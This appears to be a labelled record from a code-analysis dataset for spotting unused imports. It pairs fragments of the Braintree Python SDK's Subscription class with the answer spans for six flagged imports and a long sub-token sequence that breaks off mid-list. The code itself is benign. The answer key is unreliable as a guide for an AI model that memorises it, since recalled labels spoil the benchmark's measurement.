[SubscriptionStatusEvent(gateway, status_event) for status_event in self.status_history]\n if \"transactions\" in attributes:\n self.transactions = [Transaction(gateway, transaction) for transaction in self.transactions]", "metadata": "root.Subscription.__init__", "header": "['class', 'Subscription', '(', 'Resource', ')', ':', '___EOS___']", "index": 223 }, { "content": " @property\n def next_bill_amount(self):\n warnings.warn(\"Please use Subscription.next_billing_period_amount instead\", DeprecationWarning)\n return self._next_bill_amount", "metadata": "root.Subscription.next_bill_amount", "header": "['class', 'Subscription', '(', 'Resource', ')', ':', '___EOS___']", "index": 245 } ]
[ { "span": "from braintree.util.http import Http", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 36 }, { "span": "import braintree", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 16 }, { "span": "from braintree.exceptions.not_found_error import NotFoundError", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 62 }, { "span": "from braintree.resource_collection import ResourceCollection", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 60 }, { "span": "from braintree.successful_result import SuccessfulResult", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 56 }, { "span": "from braintree.error_result import ErrorResult", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 46 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "decimal_", "import_", "Decimal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "brain", "tree_", "._", "util_", "._", "http_", "import_", "Http_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "brain", "tree_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "warnings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "brain", "tree_", "._", "add", "\\u", "on_", "import_", "Add", "On_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "brain", "tree_", "._", "descriptor_", "import_", "Descriptor_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "brain", "tree_", "._", "discount_", "import_", "Disco", "unt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "brain", "tree_", "._", "exceptions_", "._", "not", "\\u", "found", "\\u", "error_", "import_", "Not", "Foun", "d", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "brain", "tree_", "._", "resource", "\\u", "collection_", "import_", "Reso", "urc", "e", "Collection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "brain", "tree_", "._", "subscript", "ion", "\\u", "status", "\\u", "event_", "import_", "Subscription", "Status", "Event_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "brain", "tree_", "._", "success", "ful", "\\u", "result_", "import_", "Success", "ful", "Result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "brain", "tree_", "._", "error", "\\u", "result_", "import_", "Error", "Result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "brain", "tree_", "._", "transaction_", "import_", "Transaction_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "brain", "tree_", "._", "resource_", "import_", "Resource_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "brain", "tree_", "._", "configuration_", "import_", "Configuration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Subscription_", "(_", "Resource_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "class", " ", "represent", "ing", " ", "a", " ", "Subscription", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "example", " ", "of", " ", "creati", "ng", " ", "a", " ", "subscript", "ion", " ", "with", " ", "all", " ", "avail", "able", " ", "fields", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "result", " ", "=", " ", "brain", "tree", ".", "Subscription", ".", "create", "({", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "\"", "my", "\\u", "subscript", "ion", "\\u", "id", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "merchant", "\\u", "account", "\\u", "id", "\":", " ", "\"", "merchant", "\\u", "account", "\\u", "one", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "pay", "ment", "\\u", "method", "\\u", "token", "\":", " ", "\"", "my", "\\u", "pay", "ment", "\\u", "token", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "plan", "\\u", "id", "\":", " ", "\"", "some", "\\u", "plan", "\\u", "id", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "price", "\":", " ", "\"", "29.", "9", "5", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "tria", "l\\u", "duration", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "tria", "l\\u", "duration", "\\u", "unit", "\":", " ", "brain", "tree", ".", "Subscription", ".", "Trial", "Dur", "ation", "Unit", ".", "Mont", "h", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "tria", "l\\u", "period", "\":", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", "})", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "more", " ", "informati", "on", " ", "on", " ", "Subscription", "s", ",", " ", "see", " ", "https", "://", "developer", "s", ".", "brain", "tree", "payments", ".", "com", "/", "ios", "+", "python", "/", "reference", "/", "request", "/", "subscript", "ion", "/", "create", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Trial", "Dur", "ation", "Unit_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Const", "ant", "s", " ", "represent", "ing", " ", "tria", "l", " ", "duration", " ", "unit", "s", ".", " ", " ", "Avail", "able", " ", "types", " ", "are", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "*", " ", "brain", "tree", ".", "Subscription", ".", "Trial", "Dur", "ation", "Unit", ".", "Day", "\\", "10", ";", " ", " ", " ", " ", "*", " ", "brain", "tree", ".", "Subscription", ".", "Trial", "Dur", "ation", "Unit", ".", "Mont", "h", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Day_", "=_", "\"", "day", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Month_", "=_", "\"", "month", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Source_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Api_", "=_", "\"", "api", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Control", "Panel_", "=_", "\"", "control", "\\u", "panel", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Recu", "rri", "ng_", "=_", "\"", "recurring", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Unre", "cogni", "zed_", "=_", "\"", "unre", "cogni", "zed", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Status_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Const", "ant", "s", " ", "represent", "ing", " ", "subscript", "ion", " ", "status", "ues", ".", " ", " ", "Avail", "able", " ", "status", "es", " ", "are", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "*", " ", "brain", "tree", ".", "Subscription", ".", "Status", ".", "Activ", "e", "\\", "10", ";", " ", " ", " ", " ", "*", " ", "brain", "tree", ".", "Subscription", ".", "Status", ".", "Cancel", "ed", "\\", "10", ";", " ", " ", " ", " ", "*", " ", "brain", "tree", ".", "Subscription", ".", "Status", ".", "Expire", "d", "\\", "10", ";", " ", " ", " ", " ", "*", " ", "brain", "tree", ".", "Subscription", ".", "Status", ".", "Past", "Du", "e", "\\", "10", ";", " ", " ", " ", " ", "*", " ", "brain", "tree", ".", "Subscription", ".", "Status", ".", "Pend", "ing", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Active_", "=_", "\"", "Activ", "e", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Cancel", "ed_", "=_", "\"", "Cancel", "ed", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Expire", "d_", "=_", "\"", "Expire", "d", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Past", "Du", "e_", "=_", "\"", "Past", " ", "Du", "e", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Pend", "ing_", "=_", "\"", "Pend", "ing", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "create_", "(_", "params_", "=_", "{_", "}_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Creat", "e", " ", "a", " ", "Subscription", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Token", " ", "and", " ", "Plan", " ", "are", " ", "require", "d", ":::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "result", " ", "=", " ", "brain", "tree", ".", "Subscription", ".", "create", "({", "\\", "10", ";", " ", " ", " ", " ", "\"", "pay", "ment", "\\u", "method", "\\u", "token", "\":", " ", "\"", "my", "\\u", "pay", "ment", "\\u", "token", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "plan", "\\u", "id", "\":", " ", "\"", "some", "\\u", "plan", "\\u", "id", "\",", "\\", "10", ";", " ", " ", " ", " ", "})", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Configuration_", "._", "gateway_", "(_", ")_", "._", "subscription_", "._", "create_", "(_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "create", "\\u", "signature_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "bill", "ing", "\\u", "day", "\\u", "of", "\\u", "month", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "first", "\\u", "bill", "ing", "\\u", "date", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "id", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "merchant", "\\u", "account", "\\u", "id", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "neve", "r", "\\u", "expir", "es", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "number", "\\u", "of", "\\u", "bill", "ing", "\\u", "cycle", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "pay", "ment", "\\u", "method", "\\u", "nonc", "e", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "pay", "ment", "\\u", "method", "\\u", "token", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "plan", "\\u", "id", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "price", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "tria", "l\\u", "duration", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "tria", "l\\u", "duration", "\\u", "unit", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "tria", "l\\u", "period", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "descrip", "tor", "\"_", ":_", "[_", "\"", "name", "\"_", ",_", "\"", "phone", "\"_", ",_", "\"", "url", "\"_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "options", "\"_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "do", "\\u", "not", "\\u", "inherit", "\\u", "add", "\\u", "ons", "\\u", "or", "\\u", "discou", "nts", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "start", "\\u", "immediate", "ly", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "+_", "Subscription_", "._", "\\u", "add", "\\u", "ons", "\\u", "discou", "nts", "\\u", "signature_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "find_", "(_", "subscript", "ion", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Fin", "d", " ", "a", " ", "subscript", "ion", " ", "give", "n", " ", "a", " ", "subscript", "ion", "\\u", "id", ".", " ", " ", "Thi", "s", " ", "doe", "s", " ", "not", " ", "return", " ", "a", " ", "result", "\\", "10", ";", " ", " ", " ", " ", "object", ".", " ", " ", "Thi", "s", " ", "will", " ", "raise", " ", "a", " ", ":", "class", ":`", "Not", "Foun", "d", "Error", " ", "<", "brain", "tree", ".", "exception", "s", ".", "not", "\\u", "found", "\\u", "error", ".", "Not", "Foun", "d", "Error", ">`", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "the", " ", "provided", " ", "subscript", "ion", "\\u", "id", " ", "is", " ", "not", " ", "found", ".", " ", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "subscript", "ion", " ", "=", " ", "brain", "tree", ".", "Subscription", ".", "find", "(\"", "my", "\\u", "subscript", "ion", "\\u", "id", "\")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Configuration_", "._", "gateway_", "(_", ")_", "._", "subscription_", "._", "find_", "(_", "subscript", "ion", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "retr", "y", "Charge", "_", "(_", "subscript", "ion", "\\u", "id_", ",_", "amount_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "warnings_", "._", "warn_", "(_", "\"", "Ple", "ase", " ", "use", " ", "Subscription", ".", "retr", "y", "\\u", "charge", " ", "inst", "ead", "\"_", ",_", "Dep", "reca", "tion", "Warning_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Subscription_", "._", "retr", "y", "\\u", "charge_", "(_", "subscript", "ion", "\\u", "id_", ",_", "amount_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "retr", "y", "\\u", "charge_", "(_", "subscript", "ion", "\\u", "id_", ",_", "amount_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Configuration_", "._", "gateway_", "(_", ")_", "._", "subscription_", "._", "retr", "y", "\\u", "charge_", "(_", "subscript", "ion", "\\u", "id_", ",_", "amount_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "update_", "(_", "subscript", "ion", "\\u", "id_", ",_", "params_", "=_", "{_", "}_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Update", " ", "an", " ", "exist", "ing", " ", "subscript", "ion", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "By", " ", "subscript", "ion", "\\u", "id", ".", " ", "The", " ", "params", " ", "are", " ", "similar", " ", "to", " ", "create", "::", "\\", "10", ";", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "result", " ", "=", " ", "brain", "tree", ".", "Subscription", ".", "update", "(\"", "my", "\\u", "subscript", "ion", "\\u", "id", "\",", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "price", "\":", " ", "\"", "9.9", "9", "\",", "\\", "10", ";", " ", " ", " ", " ", "})", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Configuration_", "._", "gateway_", "(_", ")_", "._", "subscription_", "._", "update_", "(_", "subscript", "ion", "\\u", "id_", ",_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "cancel_", "(_", "subscript", "ion", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Cancel", " ", "a", " ", "subscript", "ion", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "By", " ", "subscript", "ion", "\\u", "id", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "result", " ", "=", " ", "brain", "tree", ".", "Subscription", ".", "cancel", "(\"", "my", "\\u", "subscript", "ion", "\\u", "id", "\")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Configuration_", "._", "gateway_", "(_", ")_", "._", "subscription_", "._", "cancel_", "(_", "subscript", "ion", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "search_", "(_", "*_", "query_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "All", "ow", "s", " ", "search", "ing", " ", "on", " ", "subscript", "ion", "s", ".", " ", "There", " ", "are", " ", "two", " ", "types", " ", "of", " ", "fields", " ", "tha", "t", " ", "are", " ", "searcha", "ble", ":", " ", "text", " ", "and", "\\", "10", ";", " ", " ", " ", " ", "multiple", " ", "value", " ", "fields", ".", " ", "Sear", "chab", "le", " ", "text", " ", "fields", " ", "are", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "plan", "\\u", "id", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "day", "s", "\\u", "past", "\\u", "due", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Sear", "chab", "le", " ", "multiple", " ", "value", " ", "fields", " ", "are", ":", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "status", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "text", " ", "fields", ",", " ", "you", " ", "can", " ", "search", " ", "usi", "ng", " ", "the", " ", "follow", "ing", " ", "opera", "tors", ":", " ", "==", ",", " ", "!=", ",", " ", "starts", "\\u", "with", ",", " ", "ends", "\\u", "with", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "contain", "s", ".", " ", "For", " ", "mut", "ipl", "e", " ", "value", " ", "fields", ",", " ", "you", " ", "can", " ", "search", " ", "usi", "ng", " ", "the", " ", "in", "\\u", "list", " ", "opera", "tor", ".", " ", "An", " ", "example", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "brain", "tree", ".", "Subscription", ".", "search", "([", "\\", "10", ";", " ", " ", " ", " ", "brain", "tree", ".", "Subscription", "Sear", "ch", ".", "plan", "\\u", "id", ".", "starts", "\\u", "with", "(\"", "abc", "\")", ",", "\\", "10", ";", " ", " ", " ", " ", "brain", "tree", ".", "Subscription", "Sear", "ch", ".", "day", "s", "\\u", "past", "\\u", "due", " ", "==", " ", "\"", "30", "\",", "\\", "10", ";", " ", " ", " ", " ", "brain", "tree", ".", "Subscription", "Sear", "ch", ".", "status", ".", "in", "\\u", "list", "([", "brain", "tree", ".", "Subscription", ".", "Status", ".", "Past", "Du", "e", "])", "\\", "10", ";", " ", " ", " ", " ", "])", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Configuration_", "._", "gateway_", "(_", ")_", "._", "subscription_", "._", "search_", "(_", "*_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "update", "\\u", "signature_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "id", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "merchant", "\\u", "account", "\\u", "id", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "neve", "r", "\\u", "expir", "es", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "number", "\\u", "of", "\\u", "bill", "ing", "\\u", "cycle", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "pay", "ment", "\\u", "method", "\\u", "nonc", "e", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "pay", "ment", "\\u", "method", "\\u", "token", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "plan", "\\u", "id", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "price", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "descrip", "tor", "\"_", ":_", "[_", "\"", "name", "\"_", ",_", "\"", "phone", "\"_", ",_", "\"", "url", "\"_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "options", "\"_", ":_", "[_", "\"", "pro", "rate", "\\u", "charge", "s", "\"_", ",_", "\"", "replace", "\\u", "all", "\\u", "add", "\\u", "ons", "\\u", "and", "\\u", "discou", "nts", "\"_", ",_", "\"", "revert", "\\u", "subscript", "ion", "\\u", "on", "\\u", "pro", "ration", "\\u", "fail", "ure", "\"_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "+_", "Subscription_", "._", "\\u", "add", "\\u", "ons", "\\u", "discou", "nts", "\\u", "signature_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "add", "\\u", "ons", "\\u", "discou", "nts", "\\u", "signature_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "add", "\\u", "ons", "\"_", ":_", "[_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "add", "\"_", ":_", "[_", "\"", "amo", "unt", "\"_", ",_", "\"", "inherited", "\\u", "from", "\\u", "id", "\"_", ",_", "\"", "neve", "r", "\\u", "expir", "es", "\"_", ",_", "\"", "number", "\\u", "of", "\\u", "bill", "ing", "\\u", "cycle", "s", "\"_", ",_", "\"", "quanti", "ty", "\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "remove", "\"_", ":_", "[_", "\"\\u\\u", "any", "\\u", "key", "\\u\\u\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "update", "\"_", ":_", "[_", "\"", "amo", "unt", "\"_", ",_", "\"", "exist", "ing", "\\u", "id", "\"_", ",_", "\"", "neve", "r", "\\u", "expir", "es", "\"_", ",_", "\"", "number", "\\u", "of", "\\u", "bill", "ing", "\\u", "cycle", "s", "\"_", ",_", "\"", "quanti", "ty", "\"_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "discou", "nts", "\"_", ":_", "[_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "add", "\"_", ":_", "[_", "\"", "amo", "unt", "\"_", ",_", "\"", "inherited", "\\u", "from", "\\u", "id", "\"_", ",_", "\"", "neve", "r", "\\u", "expir", "es", "\"_", ",_", "\"", "number", "\\u", "of", "\\u", "bill", "ing", "\\u", "cycle", "s", "\"_", ",_", "\"", "quanti", "ty", "\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "remove", "\"_", ":_", "[_", "\"\\u\\u", "any", "\\u", "key", "\\u\\u\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "update", "\"_", ":_", "[_", "\"", "amo", "unt", "\"_", ",_", "\"", "exist", "ing", "\\u", "id", "\"_", 